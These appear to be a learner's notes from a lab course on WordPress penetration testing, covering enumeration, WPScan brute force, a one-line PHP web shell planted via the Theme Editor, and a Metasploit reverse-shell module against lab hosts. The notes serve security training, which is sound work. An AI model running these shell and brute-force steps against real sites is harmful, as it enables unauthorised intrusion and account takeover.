Is a CMS. Very friendly. Attractive for this reason, and SEO optimized. Customizability + extensible nature makes it prone to vulnerabilities.
WP accounts for 32% of all sites on the internet.
Further readings: https://academy.hackthebox.com/course/preview/hacking-wordpress
- Goes much more indepth.
Wordpress discovery and footprinting
Quick way: /robots.txt
Typical WP robots will look like below;
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/
Sitemap: https://inlanefreight.local/wp-sitemap.xml
Presence of wp-admin and wp-content is dead giveaway.
wp-admin dir will send us to the login portal.
Wordpress stores plugin in wp-content/plugins - enumerate vuln plugins. Themes are in wp-content/themes
- Carefully enumerate these, commonly lead to RCE.
User roles in WP
- Admin
- Self explanatory
- Editor
- publish/manage
- Author
- same above, only their own posts though
- Contributor
- Write/manage posts but cannot publish them
- Subscriber
- standard users
Admin typically == RCE. Editors/Authors may have access to plugins that enable RCE
First step in enumeration: Look at page source and grep for WordPress
- Browsing site / checking source can also give us hints to themes, plugins, and even usernames if author names are published with posts.
- Spend time manually browsing
- Build list of interesting data points
Very often: Check plugins and themes.
In our example we check source code and see plugin mail-masta is installed.
- check
wp-content/plugins/mail-masta- see if there's a directory listing and readme. From the readme we can fingerprint version numbers. From version numbers - look up exploits! in the case of mail-masta, there's an LFI vuln for example.
Wordpress may also be configured to disclose usernames
- Wrong password =
password entered for blabla is incorrect - Non-existing username =
the username bloblo is not registered on this site
We could create a list of potential usernames through this configuration.
We can gain a wealth of information from manual enumeration.
Automatic wordpress enumeration WPScan
sudo gem install wpscan
- Pull vuln info from ext sources
- Also, obtain api token from WPVulnDB https://wpvulndb.com/ - used by WPscan to scan for PoC and reports.
- Free plan allows up to 75 reqs per day.
- To use WPVulnDB create an account and copy API token from user page. Token supplied to wpscan using
--api-token
--enumerate flag = check plugin/themes/users
- by default it checks vuln plugins, themes, users, backups
- specific args can be supplied to restrict enum
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>
Various passive and active methods used to determine.
Threads manipulated using -t
Supplemental information can be gained from the tool, validating manual enum. I.E. can also find common usernames. HOWEVER it is not a replacement for manual enum - the tool missed some of the info we gathered from manual enumeration (wpDiscuz plugin for example)
WPscan provides info on known vulns - and contains URLs to PoCs. 
Module questions:
Enumerate the host and find a flag.txt flag in an accessible directory.
Attacking wordpress
Assumes we've enumerated version and plugins. There's a few ways to leverage built-in functionality for exploitation
WPScan can be used to bruteforce usernames and passwords Two kinds of bruteforces used: xmlrpc and wp-login
wp-lon attempts brute on wp login, xmlrpc uses wp api to make login attempts to /xmlrpc.php
- preferred, faster
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
--password-attack flag used to supply kind of attack:
-Uarg list usernames-Pabove-tthreads
Code execution with admin access to wordpress admin == modify php src code + exec sys commands.
Appearance in admin panel -> Theme Editor can allow us to edit php src code directly.
Inactive theme can be selected to avoid corrupting the primary theme.
Edit an uncommon page to add a webshell:
system($_GET[0]);
- allow exec of command via GET parameter 0.
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
wp_admin_shell_upload metasploit module can be used to upload a shell and execute it automatically, with admin creds.
Module uploads a malicious plugin and uses it to execute a PHP meterpreter shell.
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.local
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username john
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password firebird1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.14.15
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.42.195
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.inlanefreight.local
Note since we're using virtual hosts, make sure you select vhost.
In the above example, the Metasploit module uploaded the wCoUuUPfIO.php file to the /wp-content/plugins directory. Many Metasploit modules (and other tools) attempt to clean up after themselves, but some fail. During an assessment, we would want to make every attempt to clean up this artifact from the client system and, regardless of whether we were able to remove it or not, we should list this artifact in our report appendices.
- Exploited systems (hostname/IP and method of exploitation)
- Compromised users (account name, method of compromise, account type (local or domain))
- Artifacts created on systems
- Changes (such as adding a local admin user or modifying group membership)
Leveraging known vulnerabilities.
WP core has suffered from fair share of vulns but vast majority of them can be found in plugins.
- 4% WordPress core
- 89% plugins
- 7% themes
Plugins are a large attack vector and the most likely candidate for exploitation.
We can use the [waybackurls](https://github.com/tomnomnom/waybackurls) tool to look for older versions of a target site using the Wayback Machine. Sometimes we may find a previous version of a WordPress site using a plugin that has a known vulnerability. If the plugin is no longer in use but the developers did not remove it properly, we may still be able to access the directory it is stored in and exploit a flaw.
Example of exploitation via plugins, using MailMasta
https://www.exploit-db.com/exploits/41438 https://www.exploit-db.com/exploits/50226
Examples of unauth SQLi and LFI respectively